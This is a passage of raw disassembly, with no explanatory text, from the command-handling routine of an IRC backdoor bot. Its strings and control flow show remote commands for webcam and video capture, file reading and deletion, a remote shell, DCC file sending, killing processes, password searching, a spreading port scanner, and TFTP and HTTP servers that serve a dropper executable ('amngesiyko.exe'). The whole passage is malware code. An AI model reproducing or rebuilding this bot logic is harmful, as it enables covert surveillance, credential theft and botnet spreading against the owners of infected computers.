sub_418D70 pop ecx pop ecx loc_410BB0: ; CODE XREF: sub_40C50A+461Ej push offset aFrame ; "frame" push edi call sub_419360 pop ecx test eax, eax pop ecx jnz loc_410C56 cmp [ebp+esi+var_8C], ebx jz short loc_410C43 cmp [ebp+esi+var_88], ebx jz short loc_410C43 cmp [ebp+esi+var_84], ebx jz short loc_410C43 mov eax, [ebp+esi+var_80] cmp eax, ebx jz short loc_410C43 push eax call sub_4195F0 pop ecx push eax push [ebp+esi+var_84] call sub_4195F0 pop ecx push eax push [ebp+esi+var_88] call sub_4195F0 pop ecx push eax push [ebp+esi+var_8C] call sub_403B83 add esp, 10h test eax, eax jnz short loc_410C3C push [ebp+esi+var_8C] lea eax, [ebp+var_2DC] push offset aCaptureWebcamC ; "[CAPTURE]: Webcam capture saved to: %s."... push eax call sub_418D70 add esp, 0Ch jmp short loc_410C56 ; --------------------------------------------------------------------------- loc_410C3C: ; CODE XREF: sub_40C50A+4713j push offset aCaptureError_0 ; "[CAPTURE]: Error while capturing from w"... jmp short loc_410C48 ; --------------------------------------------------------------------------- loc_410C43: ; CODE XREF: sub_40C50A+46C2j ; sub_40C50A+46CBj ... push offset aCaptureInvalid ; "[CAPTURE]: Invalid parameters for webca"... loc_410C48: ; CODE XREF: sub_40C50A+4737j lea eax, [ebp+var_2DC] push eax call sub_418D70 pop ecx pop ecx loc_410C56: ; CODE XREF: sub_40C50A+46B5j ; sub_40C50A+4730j push offset aVideo ; "video" push edi call sub_419360 pop ecx test eax, eax pop ecx jnz loc_41110A mov eax, [ebp+esi+var_8C] cmp eax, ebx mov [ebp+arg_18], eax jz short loc_410CEF mov eax, [ebp+esi+var_88] cmp eax, ebx mov [ebp+arg_0], eax jz short loc_410CEF mov eax, [ebp+esi+var_84] cmp eax, ebx mov [ebp+arg_10], eax jz short loc_410CEF mov edi, [ebp+esi+var_80] cmp edi, ebx jz short loc_410CEF mov esi, [ebp+esi+var_7C] cmp esi, ebx jz short loc_410CEF push esi call sub_4195F0 pop ecx push eax push edi call sub_4195F0 pop ecx push eax push [ebp+arg_10] call sub_4195F0 pop ecx push eax push [ebp+arg_0] call sub_4195F0 pop ecx push eax push [ebp+arg_18] call sub_403D7C add esp, 14h test eax, eax jnz short loc_410CE5 push [ebp+arg_18] push offset aCaptureAmateur ; "[CAPTURE]: Amateur video saved to: %s." jmp loc_40EF0C ; --------------------------------------------------------------------------- loc_410CE5: ; CODE XREF: sub_40C50A+47CCj push offset aCaptureError_1 ; "[CAPTURE]: Error while capturing amateu"... jmp loc_4110FC ; --------------------------------------------------------------------------- loc_410CEF: ; CODE XREF: sub_40C50A+476Dj ; sub_40C50A+477Bj ... push offset aCaptureInval_0 ; "[CAPTURE]: Invalid parameters for amate"... jmp loc_4110FC ; --------------------------------------------------------------------------- loc_410CF9: ; CODE XREF: sub_40C50A+1BB1j ; sub_40C50A+1BC8j push offset aR_1 ; "r" push edi call sub_419D70 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_410D73 mov ebx, 200h push esi lea eax, [ebp+var_2DC] push ebx push eax call sub_419B30 add esp, 0Ch loc_410D22: ; CODE XREF: sub_40C50A+4847j test eax, eax jz short loc_410D53 push 1 lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40842D push esi lea eax, [ebp+var_2DC] push ebx push eax call sub_419B30 add esp, 20h jmp short loc_410D22 ; --------------------------------------------------------------------------- loc_410D53: ; CODE XREF: sub_40C50A+481Aj push esi call sub_419740 push edi lea eax, [ebp+var_2DC] push offset aMainReadFileCo ; "[MAIN]: Read file complete: %s" push eax call sub_418D70 add esp, 10h jmp loc_40E781 ; --------------------------------------------------------------------------- loc_410D73: ; CODE XREF: sub_40C50A+4800j push edi push offset aMainReadFileFa ; "[MAIN]: Read file failed: %s" jmp loc_4124EE ; --------------------------------------------------------------------------- loc_410D7E: ; CODE XREF: sub_40C50A+1B83j ; sub_40C50A+1B9Aj cmp [ebp+var_C], ebx jz loc_41263B push edi push [ebp+var_C] call sub_419AB0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_41263B push offset asc_440414 ; "\n" push esi call sub_419FB0 push esi call sub_412C50 add esp, 0Ch test eax, eax jnz short loc_410DBE push offset aCmdErrorSendin ; "[CMD]: Error sending to remote shell." jmp loc_4110FC ; --------------------------------------------------------------------------- loc_410DBE: ; CODE XREF: sub_40C50A+48A8j push esi push offset aCmdCommandsS ; "[CMD]: Commands: %s" jmp loc_412140 ; --------------------------------------------------------------------------- loc_410DC9: ; CODE XREF: sub_40C50A+1B55j ; sub_40C50A+1B6Cj cmp [ebp+var_C], ebx jz loc_41263B push edi push [ebp+var_C] call sub_419AB0 pop ecx cmp eax, ebx pop ecx jz loc_41263B push eax call sub_409B65 test eax, eax pop ecx jnz short loc_410DFA push offset aMircClientNotO ; "[mIRC]: Client not open." jmp loc_4110FC ; --------------------------------------------------------------------------- loc_410DFA: ; CODE XREF: sub_40C50A+48E4j push offset aMircCommandSen ; "[mIRC]: Command sent." jmp loc_4110FC ; --------------------------------------------------------------------------- loc_410E04: ; CODE XREF: sub_40C50A+1B27j ; sub_40C50A+1B3Ej push 7Fh lea eax, [ebp+var_6EC] push edi push eax call sub_4191A0 mov esi, [ebp+esi+var_8C] add esp, 0Ch cmp esi, ebx jz short loc_410E33 push 7Fh lea eax, [ebp+var_66C] push esi push eax call sub_4191A0 add esp, 0Ch loc_410E33: ; CODE XREF: sub_40C50A+4915j push 7Fh lea eax, [ebp+var_5EC] push [ebp+var_8C] push eax call sub_4191A0 mov eax, [ebp+arg_4] push edi mov [ebp+var_6F0], eax mov eax, [ebp+var_8] mov [ebp+var_568], eax mov eax, [ebp+var_4] mov [ebp+var_564], eax lea eax, [ebp+var_2DC] push offset aVisitUrlS_ ; "[VISIT]: URL: %s." push eax call sub_418D70 push ebx lea eax, [ebp+var_2DC] push 14h push eax call sub_4161EB add esp, 24h mov [ebp+var_56C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_6F0] push ebx push eax push offset sub_416544 push ebx push ebx call ds:dword_4942F4 mov ecx, [ebp+var_56C] imul ecx, 234h cmp eax, ebx mov dword_44D06C[ecx], eax jz short loc_410ED1 loc_410EBB: ; CODE XREF: sub_40C50A+49C5j cmp [ebp+var_560], ebx jnz loc_41214F push 32h call ds:dword_4942D8 jmp short loc_410EBB ; --------------------------------------------------------------------------- loc_410ED1: ; CODE XREF: sub_40C50A+49AFj call ds:dword_4942F0 push eax push offset aVisitFailedToS ; "[VISIT]: Failed to start connection thr"... jmp loc_412140 ; --------------------------------------------------------------------------- loc_410EE2: ; CODE XREF: sub_40C50A+1AF9j ; sub_40C50A+1B10j push ebx push [ebp+var_8C] push [ebp+arg_4] push edi call sub_4075C7 push edi push offset aFileListS ; "[FILE]: List: %s" jmp loc_410739 ; --------------------------------------------------------------------------- loc_410EFD: ; CODE XREF: sub_40C50A+1ACBj ; sub_40C50A+1AE2j push 14h lea eax, [ebp+var_708] push ebx push eax call sub_4189A0 push edi lea eax, [ebp+var_6F4] push offset aS_35 ; "%s" push eax call sub_418D70 mov eax, [ebp+arg_4] mov [ebp+var_710], eax lea eax, [ebp+var_D4] push eax lea eax, [ebp+var_5F0] push 80h push eax call sub_418EF0 mov eax, [ebp+var_4] mov [ebp+var_568], eax mov eax, [ebp+var_8] mov [ebp+var_564], eax lea eax, [ebp+var_5F0] push eax lea eax, [ebp+var_6F4] push eax lea eax, [ebp+var_2DC] push offset aDccSendFileSUs ; "[DCC]: Send File: %s, User: %s." push eax call sub_418D70 push ebx lea eax, [ebp+var_2DC] push 12h push eax call sub_4161EB add esp, 40h mov [ebp+var_56C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_710] push ebx push eax push offset sub_40465D push ebx push ebx call ds:dword_4942F4 mov ecx, [ebp+var_56C] imul ecx, 234h cmp eax, ebx mov dword_44D06C[ecx], eax jz short loc_410FCD loc_410FB7: ; CODE XREF: sub_40C50A+4AC1j cmp [ebp+var_560], ebx jnz loc_40EFB5 push 32h call ds:dword_4942D8 jmp short loc_410FB7 ; --------------------------------------------------------------------------- loc_410FCD: ; CODE XREF: sub_40C50A+4AABj call ds:dword_4942F0 push eax push offset aDccFailedToS_1 ; "[DCC]: Failed to start transfer thread,"... jmp loc_4124D0 ; --------------------------------------------------------------------------- loc_410FDE: ; CODE XREF: sub_40C50A+1A9Dj ; sub_40C50A+1AB4j push edi call ds:dword_4943C0 test eax, eax jz short loc_410FF1 push edi push offset aFileDeletedS_ ; "[FILE]: Deleted '%s'." jmp short loc_410FFC ; --------------------------------------------------------------------------- loc_410FF1: ; CODE XREF: sub_40C50A+4ADDj push offset aFile_2 ; "[FILE]:" call sub_409AA0 push eax loc_410FFC: ; CODE XREF: sub_40C50A+4AE5j lea eax, [ebp+var_2DC] push 200h push eax call sub_418EF0 add esp, 10h jmp loc_40E760 ; --------------------------------------------------------------------------- loc_411015: ; CODE XREF: sub_40C50A+1A6Fj ; sub_40C50A+1A86j push edi call sub_4195F0 push eax call sub_40B813 pop ecx pop ecx push 1 pop esi cmp eax, esi push edi jnz short loc_411032 push offset aProcProcessKil ; "[PROC]: Process killed ID: %s" jmp short loc_411037 ; --------------------------------------------------------------------------- loc_411032: ; CODE XREF: sub_40C50A+4B1Fj push offset aProcFailedToTe ; "[PROC]: Failed to terminate process ID:"... loc_411037: ; CODE XREF: sub_40C50A+4B26j lea eax, [ebp+var_2DC] push eax call sub_418D70 add esp, 0Ch cmp [ebp+var_8], ebx jnz loc_40E784 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40842D add esp, 14h jmp loc_40E784 ; --------------------------------------------------------------------------- loc_411070: ; CODE XREF: sub_40C50A+1A41j ; sub_40C50A+1A58j push ebx push ebx push edi push [ebp+var_4] push ebx push [ebp+arg_4] call sub_40B4F2 add esp, 18h cmp eax, 1 push edi jnz short loc_411092 push offset aProcProcessK_0 ; "[PROC]: Process killed: %s" jmp loc_4124EE ; --------------------------------------------------------------------------- loc_411092: ; CODE XREF: sub_40C50A+4B7Cj push offset aProcFailedTo_0 ; "[PROC]: Failed to terminate process: %s"... jmp loc_4124EE ; --------------------------------------------------------------------------- loc_41109C: ; CODE XREF: sub_40C50A+1A13j ; sub_40C50A+1A2Aj push edi call dword_44B700 ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_4110D6 push 2 lea eax, [ebp+arg_0] push 4 push eax call dword_44B678 ; gethostbyaddr cmp eax, ebx jz short loc_4110F7 push dword ptr [eax] push edi push offset aDnsLookupSS_ ; "[DNS]: Lookup: %s -> %s." loc_4110C5: ; CODE XREF: sub_40C50A+4BEBj lea eax, [ebp+var_2DC] push eax call sub_418D70 add esp, 10h jmp short loc_41110A ; --------------------------------------------------------------------------- loc_4110D6: ; CODE XREF: sub_40C50A+4B9Fj push edi call dword_44B744 ; gethostbyname cmp eax, ebx jz short loc_4110F7 mov eax, [eax+0Ch] mov eax, [eax] push dword ptr [eax] call dword_44B74C ; inet_ntoa push eax push edi push offset aDnsLookupSS__0 ; "[DNS]: Lookup: %s -> %s." jmp short loc_4110C5 ; --------------------------------------------------------------------------- loc_4110F7: ; CODE XREF: sub_40C50A+4BB1j ; sub_40C50A+4BD5j push offset aDnsCouldnTReso ; "[DNS]: Couldn't resolve hostname." loc_4110FC: ; CODE XREF: sub_40C50A+3E2Dj ; sub_40C50A+3FB6j ... lea eax, [ebp+var_2DC] push eax call sub_418D70 pop ecx pop ecx loc_41110A: ; CODE XREF: sub_40C50A+2A11j ; sub_40C50A+3B3Cj ... cmp [ebp+var_8], ebx jnz loc_41214F push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40842D add esp, 14h jmp loc_41214F ; --------------------------------------------------------------------------- loc_411134: ; CODE XREF: sub_40C50A+19E5j ; sub_40C50A+19FCj push 7Fh push edi push [ebp+arg_14] call sub_4191A0 push edi lea eax, [ebp+var_2DC] push offset aMainServerChan ; "[MAIN]: Server changed to: '%s'." push eax call sub_418D70 add esp, 18h jmp loc_4125A2 ; --------------------------------------------------------------------------- loc_411159: ; CODE XREF: sub_40C50A+19B7j ; sub_40C50A+19CEj push 5 push ebx push ebx push edi push offset aOpen_2 ; "open" push ebx call dword_44B634 test eax, eax push edi jz short loc_411179 push offset aShellFileOpene ; "[SHELL]: File opened: %s" jmp loc_4124EE ; --------------------------------------------------------------------------- loc_411179: ; CODE XREF: sub_40C50A+4C63j push offset aShellCouldnTOp ; "[SHELL]: Couldn't open file: %s" jmp loc_4124EE ; --------------------------------------------------------------------------- loc_411183: ; CODE XREF: sub_40C50A+1989j ; sub_40C50A+19A0j mov al, [edi] mov byte_43E1B8, al movsx eax, byte ptr [edi] push eax push offset aMainPrefixChan ; "[MAIN]: Prefix changed to: '%c'." jmp loc_412593 ; --------------------------------------------------------------------------- loc_411198: ; CODE XREF: sub_40C50A+195Bj ; sub_40C50A+1972j push edi call sub_4195F0 test eax, eax pop ecx jle loc_41263B push edi call sub_4195F0 cmp eax, 1F4h pop ecx jge loc_41263B push ebx push ebx lea eax, [ebp+var_B4] push 2 push eax call sub_4138AA push eax lea eax, [ebp+var_2DC] push offset aNickS_1 ; "NICK %s" push eax call sub_418D70 add esp, 1Ch lea eax, [ebp+var_2DC] push eax push offset aS_29 ; "%s\r\n" jmp loc_410669 ; --------------------------------------------------------------------------- loc_4111EF: ; CODE XREF: sub_40C50A+192Dj ; sub_40C50A+1944j push edi call sub_4195F0 test eax, eax pop ecx jle loc_40C97C push edi call sub_4195F0 mov esi, 1F4h pop ecx cmp eax, esi jge loc_40C97C push offset aQuitLater ; "QUIT :later\r\n" push edi call sub_4195F0 imul eax, 234h pop ecx push dword_44D064[eax] call sub_4083E7 pop ecx pop ecx push esi call ds:dword_4942D8 push edi call sub_4195F0 imul eax, 234h pop ecx push dword_44D064[eax] call dword_44B758 ; closesocket push [ebp+var_10] push edi call sub_4195F0 imul eax, 234h pop ecx push dword_44D06C[eax] call ds:dword_4943D4 push edi call sub_4195F0 imul eax, 234h push edi mov dword_44D06C[eax], ebx call sub_4195F0 imul eax, 234h pop ecx pop ecx mov byte ptr dword_44CE58[eax], bl jmp loc_40C97C ; --------------------------------------------------------------------------- loc_411298: ; CODE XREF: sub_40C50A+18FFj ; sub_40C50A+1916j push edi push offset aAll ; "all" call sub_419360 pop ecx test eax, eax pop ecx jnz short loc_4112C7 call sub_4163B4 cmp eax, ebx jle short loc_4112BD push eax push offset aThreadsStopped ; "[THREADS]: Stopped: %d thread(s)." jmp loc_40EF85 ; --------------------------------------------------------------------------- loc_4112BD: ; CODE XREF: sub_40C50A+4DA6j push offset aThreadsNoActiv ; "[THREADS]: No active threads found." jmp loc_411C97 ; --------------------------------------------------------------------------- loc_4112C7: ; CODE XREF: sub_40C50A+4D9Dj mov eax, [ebp+var_BC] lea edi, [eax+1] cmp edi, 20h jnb loc_40C97C lea eax, [ebp+edi*4+var_94] mov [ebp+arg_24], eax loc_4112E3: ; CODE XREF: sub_40C50A+4E4Aj mov eax, [ebp+arg_24] mov esi, [eax] cmp esi, ebx jz loc_40C97C push esi call sub_4195F0 push eax call sub_416326 pop ecx pop ecx test eax, eax push esi jz short loc_41130A push offset aThreadsKilledT ; "[THREADS]: Killed thread: %s." jmp short loc_41130F ; --------------------------------------------------------------------------- loc_41130A: ; CODE XREF: sub_40C50A+4DF7j push offset aThreadsFailedT ; "[THREADS]: Failed to kill thread: %s." loc_41130F: ; CODE XREF: sub_40C50A+4DFEj lea eax, [ebp+var_2DC] push eax call sub_418D70 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_41133F push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40842D add esp, 14h loc_41133F: ; CODE XREF: sub_40C50A+4E17j lea eax, [ebp+var_2DC] push eax call sub_4035E1 add [ebp+arg_24], 4 inc edi cmp edi, 20h pop ecx jb short loc_4112E3 jmp loc_40C97C ; --------------------------------------------------------------------------- loc_41135B: ; CODE XREF: sub_40C50A+18D1j ; sub_40C50A+18E8j cmp [ebp+var_C], ebx jz loc_41263B push edi push [ebp+var_C] call sub_419AB0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_41263B push esi push offset aS_30 ; "%s\r\n" push [ebp+arg_4] call sub_4083E7 push esi push offset aMainIrcRawS_ ; "[MAIN]: IRC Raw: %s." jmp loc_410865 ; --------------------------------------------------------------------------- loc_411392: ; CODE XREF: sub_40C50A+18A3j ; sub_40C50A+18BAj push edi push offset aPartS_1 ; "PART %s\r\n" push [ebp+arg_4] call sub_4083E7 push edi push offset aMainPartedChan ; "[MAIN]: Parted channel: '%s'." jmp loc_410865 ; --------------------------------------------------------------------------- loc_4113AB: ; CODE XREF: sub_40C50A+1875j ; sub_40C50A+188Cj push [ebp+esi+var_8C] push edi push offset aJoinSS_3 ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_4083E7 push edi push offset aMainJoinedCh_0 ; "[MAIN]: Joined channel: '%s'." jmp loc_410739 ; --------------------------------------------------------------------------- loc_4113CB: ; CODE XREF: sub_40C50A+1847j ; sub_40C50A+185Ej push edi push offset aNickS_2 ; "NICK %s\r\n" push [ebp+arg_4] call sub_4083E7 push edi push offset aMainNickChange ; "[MAIN]: Nick changed to: '%s'." jmp loc_410865 ; --------------------------------------------------------------------------- loc_4113E4: ; CODE XREF: sub_40C50A+180Cj ; sub_40C50A+1821j mov al, byte_43631A mov [ebp+arg_0], ebx cmp al, bl mov edx, offset byte_43631A jz loc_40C97C mov ecx, edx loc_4113FB: ; CODE XREF: sub_40C50A+4EF9j inc [ebp+arg_0] add ecx, 0Bh cmp [ecx], bl jnz short loc_4113FB cmp al, bl jz loc_40C97C mov [ebp+arg_18], edx loc_411410: ; CODE XREF: sub_40C50A+51C0j push 8 call sub_416433 pop ecx mov ecx, eax mov eax, 190h cdq idiv [ebp+arg_0] add eax, ecx cmp eax, 258h jle short loc_41145F push ecx lea eax, [ebp+var_2DC] push offset aScanAlreadyD_0 ; "[SCAN]: Already %d scanning threads. To"... push eax call sub_418D70 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40842D add esp, 20h jmp loc_4116C1 ; --------------------------------------------------------------------------- loc_41145F: ; CODE XREF: sub_40C50A+4F20j or [ebp+var_314], 0FFFFFFFFh cmp dword_436158, ebx mov [ebp+var_318], 0A0h mov [ebp+var_32C], 5 mov [ebp+var_328], ebx mov [ebp+arg_0], ebx jz short loc_4114CC mov eax, [ebp+arg_18] mov edi, offset dword_436158 lea esi, [eax-0Ah] loc_411496: ; CODE XREF: sub_40C50A+4FA4j lea eax, [edi-28h] push esi push eax call sub_419360 pop ecx test eax, eax pop ecx jz short loc_4114B2 inc [ebp+arg_0] add edi, 3Ch cmp [edi], ebx jnz short loc_411496 jmp short loc_4114CC ; --------------------------------------------------------------------------- loc_4114B2: ; CODE XREF: sub_40C50A+4F9Aj mov eax, [ebp+arg_0] mov ecx, eax mov [ebp+var_314], eax imul ecx, 3Ch mov ecx, dword_436158[ecx] mov [ebp+var_330], ecx loc_4114CC: ; CODE XREF: sub_40C50A+4F7Fj ; sub_40C50A+4FA6j cmp [ebp+var_330], ebx jz loc_4116D5 push 10h lea eax, [ebp+arg_10] pop esi push eax lea eax, [ebp+var_2EC] push eax mov [ebp+arg_10], esi push [ebp+arg_4] call dword_44B664 ; getsockname mov al, [ebp+var_9C7] push esi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_2E8], eax push [ebp+var_2E8] call dword_44B74C ; inet_ntoa push eax lea eax, [ebp+var_444] push eax call sub_4191A0 xor eax, eax cmp [ebp+var_9C7], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_444] push eax call sub_419170 add esp, 14h cmp edi, ebx mov byte ptr [ebp+arg_24+3], bl jle short loc_41156E loc_41154C: ; CODE XREF: sub_40C50A+5062j cmp eax, ebx jz short loc_41156E mov byte ptr [eax], 78h lea eax, [ebp+var_444] push 30h push eax call sub_419170 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_41154C loc_41156E: ; CODE XREF: sub_40C50A+5040j ; sub_40C50A+5044j mov eax, [ebp+arg_4] push [ebp+var_8C] mov esi, [ebp+var_4] mov [ebp+var_334], eax mov eax, [ebp+var_8] mov edi, 80h mov [ebp+var_308], eax lea eax, [ebp+var_434] push edi push eax mov [ebp+var_304], 1 mov [ebp+var_30C], esi call sub_418EF0 push offset dword_491D80 push offset aFf_1 ; "#ff-" call sub_419360 add esp, 14h test eax, eax jz short loc_4115D8 push offset aFf_1 ; "#ff-" lea eax, [ebp+var_3B4] push edi push eax call sub_418EF0 add esp, 0Ch jmp short loc_4115DE ; --------------------------------------------------------------------------- loc_4115D8: ; CODE XREF: sub_40C50A+50B5j mov [ebp+var_3B4], bl loc_4115DE: ; CODE XREF: sub_40C50A+50CCj cmp [ebp+var_304], ebx mov eax, offset aRandom_1 ; "Random" jnz short loc_4115F0 mov eax, offset aSequential_0 ; "Sequential" loc_4115F0: ; CODE XREF: sub_40C50A+50DFj push [ebp+var_318] lea ecx, [ebp+var_444] push [ebp+var_328] push [ebp+var_32C] push [ebp+var_330] push ecx push eax lea eax, [ebp+var_2DC] push offset aScanSPortSca_0 ; "[SCAN]: %s Port Scan started on %s:%d w"... push eax call sub_418D70 push ebx lea eax, [ebp+var_2DC] push 8 push eax call sub_4161EB add esp, 2Ch mov [ebp+var_324], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_444] push ebx push eax push offset sub_40328A push ebx push ebx call ds:dword_4942F4 mov ecx, [ebp+var_324] imul ecx, 234h cmp eax, ebx mov dword_44D06C[ecx], eax jz short loc_41167A loc_411668: ; CODE XREF: sub_40C50A+516Ej cmp [ebp+var_300], ebx jnz short loc_411695 push 32h call ds:dword_4942D8 jmp short loc_411668 ; --------------------------------------------------------------------------- loc_41167A: ; CODE XREF: sub_40C50A+515Cj call ds:dword_4942F0 push eax lea eax, [ebp+var_2DC] push offset aScanFailedTo_4 ; "[SCAN]: Failed to start scan thread, er"... push eax call sub_418D70 add esp, 0Ch loc_411695: ; CODE XREF: sub_40C50A+5164j cmp [ebp+var_8], ebx jnz short loc_4116B4 push ebx lea eax, [ebp+var_2DC] push esi push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40842D add esp, 14h loc_4116B4: ; CODE XREF: sub_40C50A+518Ej lea eax, [ebp+var_2DC] push eax call sub_4035E1 pop ecx loc_4116C1: ; CODE XREF: sub_40C50A+4F50j add [ebp+arg_18], 0Bh mov eax, [ebp+arg_18] cmp [eax], bl jnz loc_411410 jmp loc_40C97C ; --------------------------------------------------------------------------- loc_4116D5: ; CODE XREF: sub_40C50A+4FC8j push offset aScanFailedTo_5 ; "[SCAN]: Failed to start scan, port is i"... jmp loc_411C97 ; --------------------------------------------------------------------------- loc_4116DF: ; CODE XREF: sub_40C50A+17E2j ; sub_40C50A+17F7j push [ebp+var_8C] lea eax, [ebp+var_A4] push 80h push eax call sub_418EF0 mov eax, [ebp+arg_4] push offset aFindpassSearch ; "[FINDPASS]: Searching for password." mov [ebp+var_A8], eax mov eax, [ebp+var_4] mov [ebp+var_20], eax mov eax, [ebp+var_8] mov [ebp+var_1C], eax lea eax, [ebp+var_2DC] push 200h push eax call sub_418EF0 push ebx lea eax, [ebp+var_2DC] push 1Dh push eax call sub_4161EB add esp, 24h mov [ebp+var_24], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A8] push ebx push eax push offset sub_405C86 push ebx push ebx call ds:dword_4942F4 mov ecx, [ebp+var_24] imul ecx, 234h cmp eax, ebx mov dword_44D06C[ecx], eax jz short loc_411775 loc_411762: ; CODE XREF: sub_40C50A+5269j cmp [ebp+var_18], ebx jnz loc_40EFB5 push 32h call ds:dword_4942D8 jmp short loc_411762 ; --------------------------------------------------------------------------- loc_411775: ; CODE XREF: sub_40C50A+5256j call ds:dword_4942F0 push eax push offset aFindpassFail_0 ; "[FINDPASS]: Failed to start search thre"... jmp loc_4124D0 ; --------------------------------------------------------------------------- loc_411786: ; CODE XREF: sub_40C50A+1752j ; sub_40C50A+1767j push 4 call sub_416433 test eax, eax pop ecx jle short loc_41179C push offset aTftpAlreadyRun ; "[TFTP]: Already running." jmp loc_40E361 ; --------------------------------------------------------------------------- loc_41179C: ; CODE XREF: sub_40C50A+5286j mov eax, [ebp+esi+var_90] cmp eax, ebx jz short loc_4117BF push eax mov edi, 104h lea eax, [ebp+var_7FC] push edi push eax call sub_418EF0 add esp, 0Ch jmp short loc_4117D3 ; --------------------------------------------------------------------------- loc_4117BF: ; CODE XREF: sub_40C50A+529Bj mov edi, 104h lea eax, [ebp+var_7FC] push edi push eax push ebx call ds:dword_4942F8 loc_4117D3: ; CODE XREF: sub_40C50A+52B3j mov esi, [ebp+esi+var_8C] cmp esi, ebx jnz short loc_4117E3 mov esi, offset aAmngesiyko_exe ; "amngesiyko.exe" loc_4117E3: ; CODE XREF: sub_40C50A+52D2j push esi lea eax, [ebp+var_6F8] push edi push eax call sub_418EF0 mov eax, dword_43E1A0 push 7Fh push [ebp+var_8C] mov [ebp+var_5EC], eax mov eax, [ebp+arg_4] mov [ebp+var_5F0], ebx mov [ebp+var_800], eax lea eax, [ebp+var_5E8] push eax call sub_4191A0 mov eax, [ebp+var_4] mov [ebp+var_568], eax mov eax, [ebp+var_8] mov [ebp+var_564], eax lea eax, [ebp+var_6F8] push eax lea eax, [ebp+var_7FC] push eax lea eax, [ebp+var_2DC] push [ebp+var_5EC] push offset aTftpServerSt_0 ; "[TFTP]: Server started on Port: %d, Fil"... push eax call sub_418D70 push ebx lea eax, [ebp+var_2DC] push 4 push eax call sub_4161EB add esp, 38h mov [ebp+var_5F4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_800] push ebx push eax push offset sub_415CF4 push ebx push ebx call ds:dword_4942F4 mov ecx, [ebp+var_5F4] imul ecx, 234h cmp eax, ebx mov dword_44D06C[ecx], eax jz short loc_4118B3 loc_41189D: ; CODE XREF: sub_40C50A+53A7j cmp [ebp+var_560], ebx jnz loc_4125A2 push 32h call ds:dword_4942D8 jmp short loc_41189D ; --------------------------------------------------------------------------- loc_4118B3: ; CODE XREF: sub_40C50A+5391j call ds:dword_4942F0 push eax push offset aTftpFailedTo_0 ; "[TFTP]: Failed to start server thread, "... jmp loc_412593 ; --------------------------------------------------------------------------- loc_4118C4: ; CODE XREF: sub_40C50A+1728j ; sub_40C50A+173Dj mov edi, [ebp+esi+var_90] cmp edi, ebx jz short loc_4118E3 push edi call sub_4195F0 test eax, eax pop ecx jz short loc_4118E3 push edi call sub_4195F0 pop ecx jmp short loc_4118E8 ; --------------------------------------------------------------------------- loc_4118E3: ; CODE XREF: sub_40C50A+53C3j ; sub_40C50A+53CEj mov eax, dword_43E1A4 loc_4118E8: ; CODE XREF: sub_40C50A+53D7j mov esi, [ebp+esi+var_8C] mov [ebp+var_57C], eax xor eax, eax cmp [ebp+var_9C4], bl setz al cmp esi, ebx mov [ebp+var_568], eax jz short loc_41191B lea eax, [ebp+var_680] push esi push eax call sub_418D70 pop ecx pop ecx jmp short loc_411946 ; --------------------------------------------------------------------------- loc_41191B: ; CODE XREF: sub_40C50A+53FEj lea eax, [ebp+var_3FC] push 104h push eax call ds:dword_494320 push ebx push ebx lea eax, [ebp+var_2E8] push ebx push eax lea eax, [ebp+var_3FC] push eax call sub_41B4D0 add esp, 14h loc_411946: ; CODE XREF: sub_40C50A+540Fj lea eax, [ebp+var_680] push eax call sub_418E70 cmp [ebp+eax+var_681], 5Ch pop ecx jnz short loc_411971 lea eax, [ebp+var_680] push eax call sub_418E70 pop ecx mov [ebp+eax+var_681], bl loc_411971: ; CODE XREF: sub_40C50A+5451j push [ebp+var_8C] mov esi, [ebp+arg_4] lea eax, [ebp+var_908] mov [ebp+var_90C], esi push 80h push eax call sub_418EF0 mov eax, [ebp+var_8] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_56C], eax lea eax, [ebp+var_680] mov [ebp+var_570], edi push eax push [ebp+var_57C] push esi call sub_40AFEC pop ecx push eax lea eax, [ebp+var_2DC] push offset aHttpdServerL_0 ; "[HTTPD]: Server listening on IP: %s:%d,"... push eax call sub_418D70 push ebx lea eax, [ebp+var_2DC] push 3 push eax call sub_4161EB add esp, 20h mov [ebp+var_574], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_90C] push ebx push eax push offset sub_406D34 push ebx push ebx call ds:dword_4942F4 mov ecx, [ebp+var_574] imul ecx, 234h cmp eax, ebx mov dword_44D06C[ecx], eax jz short loc_411A29 loc_411A13: ; CODE XREF: sub_40C50A+551Dj cmp [ebp+var_560], ebx jnz loc_411B78 push 32h call ds:dword_4942D8 jmp short loc_411A13 ; --------------------------------------------------------------------------- loc_411A29: ; CODE XREF: sub_40C50A+5507j call ds:dword_4942F0 push eax push offset aHttpdFailedT_1 ; "[HTTPD]: Failed to start server thread,"... jmp loc_411B69 ; --------------------------------------------------------------------------- loc_411A3A: ; CODE XREF: sub_40C50A+16FEj ; sub_40C50A+1713j mov edi, [ebp+esi+var_90] cmp edi, ebx jz short loc_411A59 push edi call sub_4195F0 test eax, eax pop ecx jz short loc_411A59 push edi call sub_4195F0 pop ecx jmp short loc_411A5E ; --------------------------------------------------------------------------- loc_411A59: ; CODE XREF: sub_40C50A+5539j ; sub_40C50A+5544j mov 